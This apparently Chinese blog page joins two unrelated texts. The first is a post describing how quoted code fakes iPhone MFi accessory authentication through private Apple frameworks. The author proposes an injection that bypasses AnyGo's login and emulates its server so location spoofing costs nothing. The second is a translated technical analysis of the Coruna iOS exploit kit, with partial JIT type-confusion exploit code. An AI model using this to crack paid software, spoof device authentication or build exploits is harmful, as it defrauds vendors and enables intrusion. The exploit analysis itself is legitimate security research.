这让我非常震惊，因为在 上一篇文章 里面，我写过关于MFi改定位的一小个想法，但是由于MFi改定位会需要手机和真实MFi chip进行交互认证，而这个iPhone可以直接不用MFi chip里的证书就通过认证？

于是我找到了MFi的specification：

可以看到这里五步：

1. RequestAuthenticationCertificate：请求证书（iPhone → MFi）0xAA00
2. AuthenticationCertificate：发送证书（MFi → iPhone) 0xAA01
3. RequestAuthenticationChallengeResponse ：请求challenge，这里会发送一个nonce交给MFi进行签名（iPhone → MFi）0XAA02
4. AuthenticationResponse：返回签名完成的challenge（MFi → iPhone）0xAA03
5. AuthenticationFailed：失败（iPhone → MFi）0xAA04

然后我就去对比了下showcase里的MFi认证的逻辑函数，是这个：

static void handle_ctrl_msg(uint16_t msg_id, uint8_t *params, int plen) {
    printf("[CTRL] msg=0x%04X (%d bytes)\n", msg_id, plen);

    switch (msg_id) {
    /* ── Authentication ── */
    case 0xAA00:
        printf("[CP] *** RequestAuthCert ***\n");
        send_auth_cert();
        break;
    case 0xAA02: {
        printf("[CP] *** RequestAuthChallenge ***\n");
        if (plen>=4) {
            int dlen=((params[0]<<8)|params[1])-4;
            if (dlen>0&&dlen<=1024) send_auth_response(&params[4],dlen);
        }
        break;
    }
    case 0xAA04: printf("[CP] *** AUTH FAILED ***\n"); break;
    case 0xAA05:
        mfi_auth_succeeded = 1;
        printf("[CP] *** AUTH SUCCEEDED! ***\n");
        maybe_start_handoff_watchdog();
        break;
....

然后是证书申请：

static void issue_baa_cert(void) {
    printf("[BAA] Issuing certificate...\n");
    void *di = dlopen("/System/Library/PrivateFrameworks/DeviceIdentity.framework/DeviceIdentity", RTLD_NOW);
    if (!di) di = dlopen("/System/Library/PrivateFrameworks/MobileActivation.framework/MobileActivation", RTLD_NOW);
    if (!di) { printf("[BAA] Cannot load framework!\n"); return; }
    typedef void (^DIBlock)(id, id, id);
    typedef void (*DIFunc)(id, id, DIBlock);
    DIFunc fn = (DIFunc)dlsym(di, "DeviceIdentityIssueClientCertificateWithCompletion");
    if (!fn) { printf("[BAA] No issuance func!\n"); return; }

    dispatch_semaphore_t sem = dispatch_semaphore_create(0);
    fn(nil, [NSDictionary dictionary], ^(id k, id c, id e) {
        if (e) { NSLog(@"[BAA] Error: %@", e); dispatch_semaphore_signal(sem); return; }
        NSArray *ca = (NSArray *)c;
        if ([ca count] < 2) { dispatch_semaphore_signal(sem); return; }
        baa_private_key = (SecKeyRef)CFBridgingRetain(k);
        CFDataRef d1 = SecCertificateCopyData((__bridge SecCertificateRef)ca[0]);
        baa_leaf_len = (int)CFDataGetLength(d1);
        baa_leaf_der = malloc(baa_leaf_len); memcpy(baa_leaf_der, CFDataGetBytePtr(d1), baa_leaf_len);
        CFRelease(d1);
        CFDataRef d2 = SecCertificateCopyData((__bridge SecCertificateRef)ca[1]);
        baa_inter_len = (int)CFDataGetLength(d2);
        baa_inter_der = malloc(baa_inter_len); memcpy(baa_inter_der, CFDataGetBytePtr(d2), baa_inter_len);
        CFRelease(d2);
        baa_ready = 1;
        printf("[BAA] Leaf=%d Inter=%d — ready\n", baa_leaf_len, baa_inter_len);
        dispatch_semaphore_signal(sem);
    });
    dispatch_semaphore_wait(sem, dispatch_time(DISPATCH_TIME_NOW, 30LL * NSEC_PER_SEC));
}

这里是用的DeviceIdentity/MobileActivation的私有框架完成的。诶你他娘的还真是个天才

这样居然能过iPhone的证书信任链，那AnyGo这个东西我就再也不用付费了嘿嘿嘿。

接下来简单实验了下发现，一般adhoc的二进制过不了amfi，过了之后函数内还有其他的白名单限制。逆向发现这三个进程名字都可以过

• CarPlay Simulator
• CarDisplaySim
• Carplay Sim

于是我们可以简易写一个小注入去绕一下AnyGo的注册登录逻辑，然后把他们的服务端模拟一下，就可以正常修改定位了。并且这个修改在大部分情况下不会被过滤：

过滤的绝大部分是isSimulatedBySoftware，但是这里用的是isProducedByAccessory 。

然后是关于Location Information的Specs：同样是手机侧先请求，后续再发送位置信息。

非常不错啊，但是我懒得处理细节了，于是就有了这个～

What’s More

同时我们可以注意到苹果自带的Additional Tool里有一个Carplay Simulator：它的连接/认证方式是usb。也就是，理论上这个MFi连接是可以从手机到浏览器的，那么接下来下一步就是把做成有线修改Accessory定位了。

检查之后发现这里Carplay Simulator用的是lockdownd的com.apple.carkit.service 并且在这上面封装了iAP2流。

原文链接：Deep dive and technical analysis of the Coruna exploit framework

翻译润色来自：kimi k2.6 / glm 5.1

1. 前言

过去几周，我深入研究了这个漏洞利用套件，它非常有趣，让我回想起了当年把 iOS 安全研究当作爱好的日子。在语音通话中琢磨各个阶段的工作原理，这个过程本身就充满乐趣；我觉得在遗忘之前，应该把这些内容记录下来。

如果你和我一样，喜欢在逐步分析中核实每一个细节，我完全理解；但我也明白，你可能只是想了解一个高层概览。因此，我决定将每个子章节都作为独立部分来撰写，这意味着你可以轻松跳过任何一级或二级标题，而不会遗漏太多上下文。除此之外，我还决定将所有四级标题设为可折叠，只在那里讨论非常深入的技术细节，这样就可以轻松跳过它们。

同样，我不确定你的知识水平如何。因此，我在文章的参考部分引用了相关主题的其他文章。

现在请享受阅读吧 :)

2. 发现

Google 威胁情报小组（GTIG）和 iVerify 都发布了关于一个名为 Coruna 的漏洞利用套件的博客文章，该套件覆盖 iOS 13.0 至 17.2.1。他们没有提供样本，但由于 GTIG 公布了攻击使用的 URL 列表，其中一些 URL 仍然活跃，我得以获取到针对 iOS 17.1 的流量捕获，并以此为基础进行分析。

2.1. GTIG 与 iVerify

3月3日，GTIG 和 iVerify 都发布了关于他们长期追踪的一款国家级 iOS 漏洞利用套件的博客文章。该套件最初被一家监控公司的客户使用，后来又被用于对乌克兰网站和中国赌博网站发起水坑攻击。在其中一个网站上，攻击者托管了该套件的调试版本，使 GTIG 得以获取漏洞名称（可能还有很多调试打印信息——真想看看这些）。因此，他们发布了一个包含全部 23 个漏洞的详细表格，涵盖名称、用途、CVE 等信息：

这是 GTIG 发布的表格，有两个小细节我不太确定：根据选择代码来看，buffout 可能从 iOS 11 起就可以被利用；Rocket 被列在 17.4 安全公告 中。但该漏洞在 iOS 版本早于 iOS 13 时会提前退出，因此我并无证据表明 buffout 可在更低版本上被利用。正如我们将在 seedbell 的分析中看到的，我现在知道所有 seedbell 变体都已在 iOS 18.0 beta 1 中被修补。

除了这个表格，关于漏洞本身公开的信息非常少。不过 GTIG 提到他们将在稍后发布根因分析（RCA），一旦发布我一定会在这里附上链接。iVerify 和 GTIG 都已经对植入物进行了深入分析，因此我不会在这篇文章中重点关注它。

2.2. 获取样本

当这些文章发布时，我非常兴奋，主要是因为近期没有任何关于 iOS 漏洞利用的大型公开分析，还因为表格中有一些条目没有 CVE、甚至没有修复版本，这表明这些漏洞尚未进行过根因分析。我特别对 seedbell PAC 绕过感兴趣，因为我过去对用户态 PAC 做过大量研究。

但由于 GTIG 和 iVerify 都没有发布任何样本，最初我自己分析它们似乎是不可能的。后来我得知 GTIG 文章中列出的一些 URL 仍然活跃，甚至还有人自愿感染自己的设备，希望能获得越狱工具。这是一个非常糟糕的主意，我至今仍不理解 GTIG 为何要公布仍在提供服务的 URL，但这使我得以获取样本并进行这次分析。这也可能让早期 iOS 17 版本的越狱成为可能。所以总的来说，我欢迎 GTIG 分享样本，但理想情况下这应该以一种受控的方式进行——例如，他们可以省略 JIT 加载器或初始 RCE 阶段，以防止他人轻易武器化该套件，但仍允许分析漏洞并将其用于越狱，而后者可以用来更好地分析未来的漏洞链。

感谢 Alfie，我得以获取到针对运行 iOS 17.1 的手机的原始流量捕获。在初始分析期间，我以为最终会遇到障碍，因为漏洞利用套件会进行 Diffie-Hellman 密钥交换然后加密后续阶段，但正如我们将看到的，令我惊讶的是情况并非如此。

该捕获包含以下文件：

377bed7460f7538f96bbad7bdc2b8294bdc54599.js
4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js
4a75f0551eba446b4fa35127024a84b71d9688d6.js
6beef463953ff422511395b79735ec990bed65f4.js
7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js
9af53c1bb40f0328841df6149f1ef94f5336ae11.js
bef10a7c014b826e9dd645984e80baf313c1635f.js
favicon.ico
group.html

它来自其中一个中国赌博网站，所以我拿到的是他们版本的套件和植入物。该套件的其他变体可能有所不同，但根据背景来看，我怀疑任何一个部署都没有做大的改动。

2.3. 相关行动

事态出现了非常有趣的转折：大约三周后的18日，GTIG、iVerify 和 Lookout 都发布了关于另一款名为”DarkSword”的 iOS 漏洞利用套件的博客文章。这是 Lookout 通过跟踪 Coruna 的 C2 基础设施，并在同一 IP 地址上发现了一个提供类似漏洞利用套件的域名而发现的。由于该套件后来也在 GitHub 上被泄露，我推测其他人也做了同样的事情。所以 GTIG 不仅暴露了 Coruna 正在活跃服务的 URL，而且还促成了另一个套件的发现。由于 DarkSword 完全用 JavaScript 编写且完全没有混淆，它更容易分析，并且已经有一些关于它的文章（例如关于内核漏洞的分析）。如果我有时间，我可能仍然会决定再写一篇关于它的分析并在这里附上链接。

尽管 DarkSword 与 Coruna 由同一运营方使用，但这两个套件差异显著，且 Coruna 存在大量可被开发者复用的工程痕迹，因此我认为它们并非出自同一开发实体。相反，看起来运营商是从两个不同来源获取了这些套件。

3. 技术分析

本节我将对套件展开全面分析，从着陆页讲起，直至 SPTM/PPL 绕过。由于只有 iOS 17.1 版本的流量捕获，此分析仅限于该版本套件中使用的漏洞，即 cassowary（WebContent 读写）、seedbell_17（PAC 绕过）、Gruber（内核读写）和 Rocket（PPL/SPTM 绕过）。我尚未分析 Sparrow（PPL 绕过——暂时 ;）。我不会深入分析植入物本身，因为 GTIG 和 iVerify 都已经对其进行了深入分析。除了漏洞本身，我还将涵盖围绕它们的大量基础设施以及中间阶段，如 MachO 加载框架。

Cassowary 源于 JIT 编译器线程与主线程之间的竞态条件，并被转化为类型混淆。随后将其升级为经典的 fakeobj 和 addrof 原语，并通过 3 个阶段升级到 WebContent 进程中的完整读写能力。随后框架检测 PAC；若存在，则通过 seedbell_17 获取 PACIZA 签名原语，然后将其升级为 8 参数函数调用原语。有了调用任意函数的能力和 WebContent 进程中的完整读写能力，该套件随后使用一个模块将 MachO 文件加载到内存中并执行它。这个 MachO 文件通过共享内存缓冲区与 JavaScript 通信，并下载一个配置文件以及另外两个阶段，后者包含内核 LPE Gruber 和 PPL/SPTM 绕过 Rocket。Gruber 是 vm 子系统中的竞态条件，会导致 vm_object 上的引用计数减少，随后将其转化为 pUAF，并进一步升级为物理映射原语，从而获得内核读写能力。之后使用 GFX 协处理器通过 Rocket 绕过 PPL/SPTM，创建一个自引用页表项，从而允许套件写入任何物理地址。之后的植入物加载阶段，我没有进一步分析。

3.1. 投递（+ JS 框架）

本节涵盖漏洞利用套件的投递机制以及编排漏洞利用的主要 JavaScript 框架，通过加载不同模块来完成各个漏洞利用阶段。模块本身将在下一节中进一步探讨。

3.1.1. group.html

漏洞利用套件通过 group.html 投递，可以分为以下组件：

• 禁用页面缓存的 HTML meta 标签
• 一个包含两个不同部分的 script 标签，用于投递漏洞利用
• Google 和 Cloudflare 跟踪链接

3.1.2. 嵌入式 JavaScript

嵌入式 JavaScript 分为两个部分：第一部分负责实际的漏洞利用，第二部分负责指纹采集。代码经过压缩和轻度混淆，具体使用了三种技术：

• 变量名被替换为无意义的字符串；这种映射似乎是确定性完成的，因为跨源文件是稳定的
• 整数通常通过将其转换为简单表达式（主要是异或）来混淆，例如 (1163411831 ^ 1146639985)
• 许多字符串被转换为 [115,118,...,39,32,114].map(p=>String.fromCharCode(p^66)).join("") 的形式，使用随机的异或密钥

我无法将这种混淆模式与任何已知的公共混淆器关联起来（最接近的是 Metasploit 的，但看起来是定制的）。

3.1.2.1. 编写”反混淆器”

（点击展开） 变量重命名无从着手，但对于整数和字符串，我决定编写几个正则表达式，然后就地计算表达式：

const stringRegex = /\[\d+(, ?\n?\d+)*\]\.map\((.) ?=> ?({return )?String\.fromCharCode\(\2 ?\^ ?(\d)+\)(;?})?\)\.join\(\"\"\)/g;
    const xorRegex = /\(-?(\d){3,} \^ -?(\d){3,}\)/g;
    const addRegex = /\(-?(\d){3,} \+ -?(\d){3,}\)/g;

    const matches = [...fileText.matchAll(stringRegex)];
      for (const match of matches) {
        const expr = match[0];
        let replacement = '';
        try {
          replacement = eval(expr);
        } catch (e) {
          replacement = expr;
        }
        replacement = "\"" + replacement + "\"";
        output = output.replace(expr, replacement);
      }
      ...

之后，我将反混淆后的压缩 JavaScript 通过 js-beautify 运行，然后开始在支持变量重命名的 IDE 中逆向它，尽可能在注释中跟踪原始变量名，这样我仍然可以在 JS 文件之间交叉引用它们。

第二部分仅负责指纹采集，快速总结如下：1 秒后它会——

• 检查浏览器是否存在漏洞，如果是：
• 获取客户端的 IP 地址
• 从用户代理获取操作系统版本
• 将这些信息发送到服务器

第一部分将初始化一个我命名为 dispatcher 的大对象，负责管理多个不同的 JavaScript 模块。它已经内置了两个模块，编码为 base64 字符串，但也支持稍后通过传递 base64 或 XMLHttpRequest 加载新模块。

模块可以通过其哈希值访问，两个已加载的模块是：

• 57620206d62079baad0e57e6d9ec93120c0f5247：一个杂项辅助库
• 14669ca3b1519ba2a8f40be287f646d4d7593eb0：主漏洞利用模块

从长度来看，这些哈希应为 SHA1，但我未能找到任何字符串，其哈希值与它们匹配。由于 GTIG 提到他们有这个套件的调试版本，我想知道哈希是否是在该版本上生成的，或者我们是否能够通过它获取真实名称。

3.1.2.2. 辅助模块

辅助模块包含处理数字的类，因为 JavaScript 无法原生表示 64 位整数。有一个类将 64 位数字保存在两个 32 位部分中，然后处理 JSValue、浮点数或 BigInt 的输入和输出，并对其进行基本数学运算。第二个类用于在不同类型之间进行转换，使用众所周知的技巧：让 ArrayBuffer 在不同类型的 JS 数组和 DataView 之间共享。除此之外，还有处理不同字符串的函数，基本上是在 UTF-16 和 UTF-8 之间转换、处理字节数组以及基于类似 LZW 压缩的字符串解压缩。还有一些粘合代码，主要是将不同数字表示形式粘合在一起。这是我注意到这个套件普遍存在的一个问题：通常有多个相同逻辑的实现，可能是因为不同的开发团队在不同的链部分工作，后来他们不得不将所有这些集成在一起，但没有做适当的工程工作来统一代码库。

在大型 dispatcher 对象之外，主脚本将设置 dispatcher 获取模块的基础 URL 和一个 cookie。根据博客文章，这个 cookie 对每个受害者是唯一的。cookie 被前置到模块的哈希值，然后通过 JS SHA1 实现计算整个内容的 SHA1 哈希，加上”.js”后缀后从基础 URL 获取模块。

10毫秒后（推测是为了让页面的其余部分加载完成），主函数被调用，返回值被发送回服务器。主函数将初始化主漏洞利用模块，该模块允许以下配置：

• 发送日志数据的 URL（此部署中未设置）
• 用于稍后获取配置和动态库（MachO 链接器、LPE 和植入物）的资源 URL
• 用于解密所有获取的动态库/配置的 ChaCha20 密钥（此密钥在脚本中硬编码）
• 允许在无头浏览器/自动化环境下继续运行的布尔值（部署中为 false）
• 启用日志记录的布尔值（部署中为 false）
• navigator.platform
• navigator.userAgent

随后，若未在 Safari 或 AppleWebKit 中运行，它将报错退出，并从用户代理解析 iOS 版本。看起来除了常规 Safari 之外，该漏洞利用套件还支持从 iTunes Store 运行，这通过在 JS 中匹配用户代理中的 MobileStore 字符串，以及稍后在 LPE 阶段中体现。对于所有这些值，代码更新一个我称为 device_properties 的全局结构。最后一步是根据版本特定的值更新此结构。有趣的是，这样做的方式是遍历按最旧版本排序的版本数组，然后让更新的版本覆盖更旧的属性。我觉得这很巧妙，因为它允许在属性改变时轻松更新，而不必每次都完全复制它们。

之后，如果运行在 macOS 上（通过 platform 或 TouchEvent 不存在来检测），或者 iOS 版本低于 iOS 13，漏洞利用主函数将报错退出。对于 iOS 16 及更高版本，它们使用主模块中的辅助函数检测锁定模式（LDM），该函数将检查 RTC JS 接口（例如 RTCPeerConnection）是否存在、WebGLRenderingContext 是否存在，以及通过 <math> HTML 标签的数学文本渲染是否正常工作，如果检测到则退出。类似地，如果设备在无头浏览器中（通过 navigator.webdriver 检测）或在隐私浏览模式中（通过 indexedDB 或 localStorage 检测），它也会退出，除非配置允许继续。我认为这强烈暗示该套件已经在某种自动化设置中测试过，这种检测被设为非致命的。

指纹采集完成后，它将根据 iOS 版本选择对应的 WebContent 读写漏洞利用模块。如果找不到，它将再次退出（例如运行 iOS 17.3 或更高版本的设备就是这种情况），然后调用它最多 20 次以获取读写能力。在此捕获中，选择了 e3b6ba10484875fabaed84076774a54b87752b8a，即 cassowary 漏洞利用。

获得读写能力后，它可通过比较 WebAssembly.Table 与 WebAssembly.Instance 对象函数指针的高 32 位来检测 PAC；如果相同则假定没有 PAC。由此他们还获得了指向 JavaScriptCore (JSC) 的函数指针，从中可以回溯到 MachO 头部（在页面开头搜索 0xFEEDFACF），然后从中读取 CPU 类型以确定运行在 ARM 还是 Intel 上。这用于对配置值进行最后一轮更新以选择正确的漏洞利用，然后 device_properties 对象被冻结。

若检测到 PAC，则需要予以绕过。为此，它们调用一个辅助函数，该函数将根据 iOS 版本加载一个 PAC 绕过模块并调用它，以导出一个签名器对象，允许外部调用从那时起使用任何密钥和上下文进行签名。对于其中两个 PAC 绕过，除了 PAC 绕过模块（29b874a9a6cc9fa9d487b31144e130827bf941bb（seedbell_17）或 9db8a84aa7caa5665f522873f49293e8eebccd5c（可能是 seedbell_16.6））之外，还加载了一个辅助模块（477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba），该模块导出 dyld 共享缓存解析功能到主 PAC 绕过模块。对于此捕获，加载了 seedbell_17，因为它针对的是具有 PAC 的设备上的 iOS 17.1。

在获得读写及任意函数调用能力后，该套件随即加载原生代码并执行其 LPE。为此它将加载最后一个 JavaScript 模块（在此捕获中为 c03c6f666a04dd77cfe56cda4da77a131cbb8f1c），然后该模块执行 JITBox 绕过，并使用一段 shellcode 来链接一个 MachO（以内联 base64 压缩存储），然后使用 JavaScript 获取配置和另外两个动态库并加载执行，后者是权限提升阶段。

总体而言，其设计相当巧妙：它在另一个线程上执行原生代码的同时维持 JS 代码执行，并通过数组在两者之间通信。我将在 MachO 加载器框架 部分进一步详述这一点。

这就是整个链，让我们详细看看各个模块：

3.2. WebKit 读写

注意：这是我首次深入研究 JSC JIT 漏洞，因此某些细节可能不够准确。我很乐意接受任何修正，如果有人发布其他分析文章，我也会链接到这里。

该漏洞是 JSC 属性观察点机制中的一个弱点，可以通过竞态编译器线程和主线程将其转化为类型混淆。这然后被升级为经典的 fakeobj 和 addrof 原语，从那里通过数组 butterfly 从相对写入升级到绝对写入，然后通过 WebAssembly (Wasm) 全局变量升级到完整读写。

别担心——上面段落中一半的术语我在开始时也不理解，这就是为什么我专门写了下一节，在讨论漏洞之前更详细地解释一些概念。

3.2.1. 理解漏洞所需的信息

为了彻底理解其原理，我们需要涉及大量背景知识。我将尝试在这里总结我的整个心智模型，既帮助经验较少的人更好地理解，也可能会让更有经验的人发现其中的缺陷。话虽如此，整个过程太复杂了，无法在一个章节中完全涵盖，所以我强烈建议阅读这篇关于 JSC 中 JIT 的非常长但非常好的博客文章，以及可能还有这个博客文章系列，这些帮助我更好地理解了一些不同的 JIT 阶段。

JavaScript 是一种弱类型语言，这意味着同一个变量在运行时可以持有不同类型的值。例如，一个变量最初可以持有一个整数，后来持有一个字符串。因此，即使是简单的加法操作也可能有非常复杂的实现，因为它们需要考虑不同的变量类型（例如，“相加”两个字符串会将它们连接起来）。这使得 JS 执行相当慢，但现代 Web 应用程序有性能需求，需要以某种方式变得更快。为了加速执行，所有现代浏览器都有一个即时（JIT）编译器，它将 JS 字节码（解释器使用的 JS 代码的中间表示）编译为原生机器码。然后，在编译完成后，浏览器将跳转到编译后的代码并执行它而不是解释字节码，这要快得多。但即使这样还不够，因为基本上这只意味着 Web 开发者会写更多会导致网站再次卡顿的代码，所以在这个已经非常复杂的编译过程之上，JIT 做了大量的优化工作来使代码运行更快，这反过来又创造了更多的复杂性，从而为漏洞创造了更多攻击面。

由于编译本身属于计算密集型操作，JIT 仅会编译”热”代码，即被执行多次的代码。在 JSC 中，函数通过不同的 JIT 进行”分层升级”，这些 JIT 做越来越激进的优化，以在编译时间和因更快执行而节省的时间之间取得良好的平衡。

除了减少浪费工作的机会外，这还允许运行时在所谓的分析阶段收集（类型）信息，然后可以在实际编译阶段用于更好的优化，从而带来又一个性能提升。

类型系统中还有一个重要的部分需要理解才能理解这个漏洞：JS 对象又是一种非常通用的类型，可以以多种不同方式使用，因此应该对它们应用不同的优化。因此，在 JSC 中所有对象都持有一个指向所谓结构的指针，该结构包含对象的描述，具体来说就是对象持有哪些属性以及它们在对象中存储在哪里。

举个具体例子：假设有一个对象 obj，拥有 prop1 和 prop2 两个属性，该对象将持有一个指向结构的指针，该结构声明：prop1 存储在内联偏移 0x10 处，prop2 存储在内联偏移 0x18 处。当 JS 程序访问 obj.prop1 时，运行时将读取结构指针，在其中找到 prop1 及其在对象中的偏移，然后从该偏移读取值。多个对象可以有相同的结构，但类型系统只能向前移动——意思是如果你给对象添加一个新属性，它将转换到一个新结构，但如果你删除同一个属性，它不会转换回旧结构，而是转换到另一个新结构。

JIT 编译包含多个阶段，与我们相关的是控制流分析（CFA）和常量折叠。在 CFA 期间，JIT 将类型预测转换为类型证明，例如允许加法操作只发出整数加法指令，如果它能证明两个操作数始终是整数（且不会溢出）。常量折叠是一种优化，允许 JIT 在编译期间预计算值，例如如果我们有 let a = 1 + 2;，JIT 可以预计算 a 的值为 3，然后直接发出该值而不是加法指令。

这在 JSC 中不仅仅限于简单的算术运算。例如如果我们有 let a = obj.prop1; 并且 JIT 能证明 obj 始终具有相同的结构且 prop1 始终存储在偏移 0x10，它可以从 obj + 0x10 加载而不是做完整的属性访问逻辑，这要快得多。

JSC 甚至更进一步，试图预测 obj.prop1 是否始终是相同的值。例如如果 prop1 始终是 1.1，它可以预计算 a 的值为 1.1 并发出该值而不是加载指令。虽然对于不太复杂的情况，人们可以很容易地看到运行时检查如何足以进行验证（if (struct(obj1) != S1) {fallback();}），但对于更复杂的情况，这很难通过运行时检查来解决。因此，JIT 有另一个称为观察点的功能，它可以在对象上设置。若在运行时此类观察点被触发，运行时将作废已编译代码并回退至解释器。这些与运行时检查很好地互补，因为虽然运行时检查必须在热函数内部并因此在每次调用函数时运行，但观察点可以设置在非常不可能发生的操作上，然后不需要发出运行时检查，因为如果它们曾经触发，代码将被保证无效。所以观察点允许更激进的优化，比如上面的那个。

有两种与我们相关的观察点类型：属性替换观察点和结构转换观察点。

属性观察点在对象的属性被更改时触发。例如如果我们有 obj.prop1 = 1.1; 然后后来 obj.prop1 = 2.2;，并且在两者之间 JIT 决定对 prop1 设置观察点，第二次赋值将触发观察点从而使编译后的代码无效。

结构转换观察点在对象的结构发生变化时触发。例如如果我们有 obj.prop1 = 1.1; 然后后来 delete obj.prop1;，obj 将转换到一个新结构，如果 JIT 在旧结构上设置了观察点，它将触发并使编译后的代码无效。重要的是，转换观察点只能设置在”叶子”结构上，即结构树中没有子节点的结构，意味着它们不是任何转换的源。这样做的主要理由是，如果一个结构在树中有子节点，那么这个观察点很有可能会触发从而使代码无效，这太昂贵了，所以 JIT 宁愿不做这个优化。

3.2.2. 漏洞

Cassowary 作为 CVE-2024-23222 被修复，Apple 安全公告声明：

WebKit
适用于：iPhone XS 及更新机型、iPad Pro 12.9 英寸第 2 代及更新机型、iPad Pro 10.5 英寸、iPad Pro 11 英寸第 1 代及更新机型、iPad Air 第 3 代及更新机型、iPad 第 6 代及更新机型以及 iPad mini 第 5 代及更新机型
影响：处理恶意制作的 Web 内容可能导致任意代码执行。Apple 知道有报告称此问题可能已被利用。
描述：类型混淆问题已通过改进检查得到解决。
WebKit Bugzilla：267134
CVE-2024-23222

从中我们获得了 Bugzilla ID 267134，报告仍然保密，但我们可以在 WebKit 仓库中找到修复该问题的提交：

• 64714692967ad278155fcae66c5cb0f853b3bf34：修复漏洞
• 66f60deae730514621d3f9c5e620aaa76e03f8f8：后续提交（据我理解，意识到一些代码不再需要并可以移除）

3.2.2.1. 提交信息

commit 64714692967ad278155fcae66c5cb0f853b3bf34
Author: Yusuke Suzuki <已编辑>
Date:   Thu Jan 25 01:25:49 2024 -0800

    [JSC] DFG 常量属性加载应在主线程检查有效性
    https://bugs.webkit.org/show_bug.cgi?id=267134
    rdar://120443399

    由 Mark Lam 审查。

    考虑以下情况，

        CheckStructure O, S1 | S3
        GetByOffset O, offset

    并且 S1 -> S2 -> S3 结构转换发生。
    通过与编译器并发更改对象，可能在 CFA 期间用 O + S2 常量折叠属性。
    虽然我们在 S1 和 S3 中插入了观察点，但我们无法注意到 S2 中属性的变化。
    如果我们在运行代码之前将 O 更改为 S3，CheckStructure 通过并且我们可以使用从 O + S2 加载的值。

    1. 如果 S1 和 S3 的转换都已经被 DFG / FTL 观察到，那么我们不需要关心这个问题。
       CheckStructure 确保 O 是 S1 或 S3。并且两者都有在转换发生时触发的观察点。
       所以，如果我们在编译期间从 S1 转换到 S2，它已经使代码无效。
    2. 如果只有一个结构（S1），那么我们可以通过在主线程检查此条件来保持当前优化。
       CheckStructure 确保 O 是 S1。这意味着如果在主线程满足此假设，我们可以安全地继续使用此代码。
       为了检查此条件，我们添加了 DesiredObjectProperties，它记录 JSObject*、偏移、值和结构。
       在编译结束时，在主线程中，我们检查此假设是否仍然满足。

commit 66f60deae730514621d3f9c5e620aaa76e03f8f8
Author: Yusuke Suzuki <已编辑>
Date:   Thu Jan 25 01:25:49 2024 -0800

    [JSC] 移除 DFGDesiredObjectProperties
    https://bugs.webkit.org/show_bug.cgi?id=267134
    rdar://120443399

    由 Mark Lam 审查。

    当我们将结构限制为只有一个时，在保持对象结构不变的情况下，无法在不触发属性替换观察点的情况下更改属性。因此移除 DFGDesiredObjectProperties。

更改在一个名为 tryGetConstantProperty 的函数中，该函数负责在给定基址和偏移的情况下获取值，同时验证基址在一组结构中并保证返回后值不会改变。

为此，旧函数首先在集合中的所有结构上放置属性替换观察点，然后获取基址上的 cell 锁并验证基址的结构在集合中。如果所有这些都成立，它将使用 getDirectConcurrently 从 base + offset 读取值并返回。其理由是值不可能在不触发某个属性替换观察点并使代码无效的情况下改变，或者如果基址的结构被更改，运行时检查将不会通过，代码将回退到解释器处理此对象。开发者没有注意到的是，基址可以被转换到不在集合中的结构，其属性被修改，然后转换回集合中的不同结构，这允许在不触发任何观察点的情况下修改值，同时仍然通过运行时检查。

修复方案是将此优化进一步限制为：

• 集合只有一个结构——因为结构转换只是”向前”的，我们永远不能离开此结构，进行修改然后再回到它，所以这是安全的
• 集合中的所有结构都被转换观察——因为那样我们同样不能在不触发观察点从而使代码无效的情况下从结构转换离开

3.2.3. 漏洞利用

在本节中，我们将基于反混淆和清理后的代码来探讨漏洞利用。

在开始之前，我想提一下，通常这些漏洞利用是以闭环方式开发的，开发者与 JIT “共舞”直到它给出期望的代码生成。因此，一些代码可能是该过程的遗留物，可能并非漏洞利用工作所严格需要的。

这很重要，因为这意味着可能不是每一行代码都有好的理由，但我仍然会尝试提供一个解释。

漏洞利用的高层思路是通过让 tryGetConstantProperty 在 CFA 期间成功并返回一个浮点数组来毒害 JIT 编译器的类型信息，但在运行时实际上在一个对象数组上运行函数。这样他们就可以对指针执行优化的浮点操作，轻松创建 fakeobj 原语。具体来说，cassowary 将给指针加 0x10，将其从对象开头（JSCell 头部和 butterfly 指针所在的位置）移动到第一个完全由攻击者控制的内联属性，访问未对齐指针时该属性将被解释为 JSCell 头部。

这基本上导致了以下代码模式，他们围绕它构建漏洞利用：

let i32Arr = new Uint32Array(2);
let f64Arr = new Float64Array(i32Arr.buffer); // 与 i32Arr 共享同一缓冲区
function jitted_func() {
    // 做魔术
    // [...]
    let typeConfused = obj.p1 // 由于 CFA，JIT 认为 obj.p1/typeConfused 始终是 64 位浮点数组，实际上我们传递的是一个包含对象指针的数组
    f64Arr[0] = typeConfused[1]; // 因此，这变成了一个简单的存储，我们将指针作为浮点数存储到数组中
    i32Arr[0] = i32Arr[0] + 16; // 然后我们将指针增加 0x10（i32Arr 和 f64Arr 共享同一缓冲区/操作同一内存）
    typeConfused[1] = f64Arr[0]; // 然后我们将其存回，由于类型混淆，这又是一个简单的存储，但现在在原始数组中我们有一个指向对象第一个属性而不是 JSCell 头部的指针

现在为了触发这个漏洞，obj 需要被观察为结构类型 S1 或 S3，并且 tryGetConstantProperty 在 CFA 期间成功。为此，漏洞利用首先创建一个包含 3 个结构的结构树/链：S1 -> S2 -> S3（实际上这个链还有一些我省略的临时结构）。

function newTarget() {} // 单个构造函数，使 structS1 和 structS3 共享相同的结构类型
let structS1 = Reflect.construct(Object, [], newTarget);
let structS3 = Reflect.construct(Object, [], newTarget);
// 此时 structS1 和 structS3 具有相同的结构
structS1.p1 = floatArrWProp1;
structS1.p2 = floatArrWProp1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
// 现在 structS1 和 structS3 又具有相同的结构，这就是我们的"S1"
delete structS3.p2;
// 这将 structS3 转换到我们的"S2"
delete structS3.p1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
// 现在它是我们的最终"S3"结构

然后他们需要训练运行时将 obj 视为 S1 或 S3，但同时需要避免某些优化。为此他们在上面的代码周围创建了以下构造：

function toJIT(useS3) {
    let obj = structS1;
    if (useS3) {
        obj = structS3;
        (0)[0]
    }
    let typeConfused = obj.p1;
    if (useS3) typeConfused = floatArrWProp2;
    f64Arr[0] = typeConfused[1];
    i32Arr[0] = i32Arr[0] + 16;
    typeConfused[1] = f64Arr[0];
}

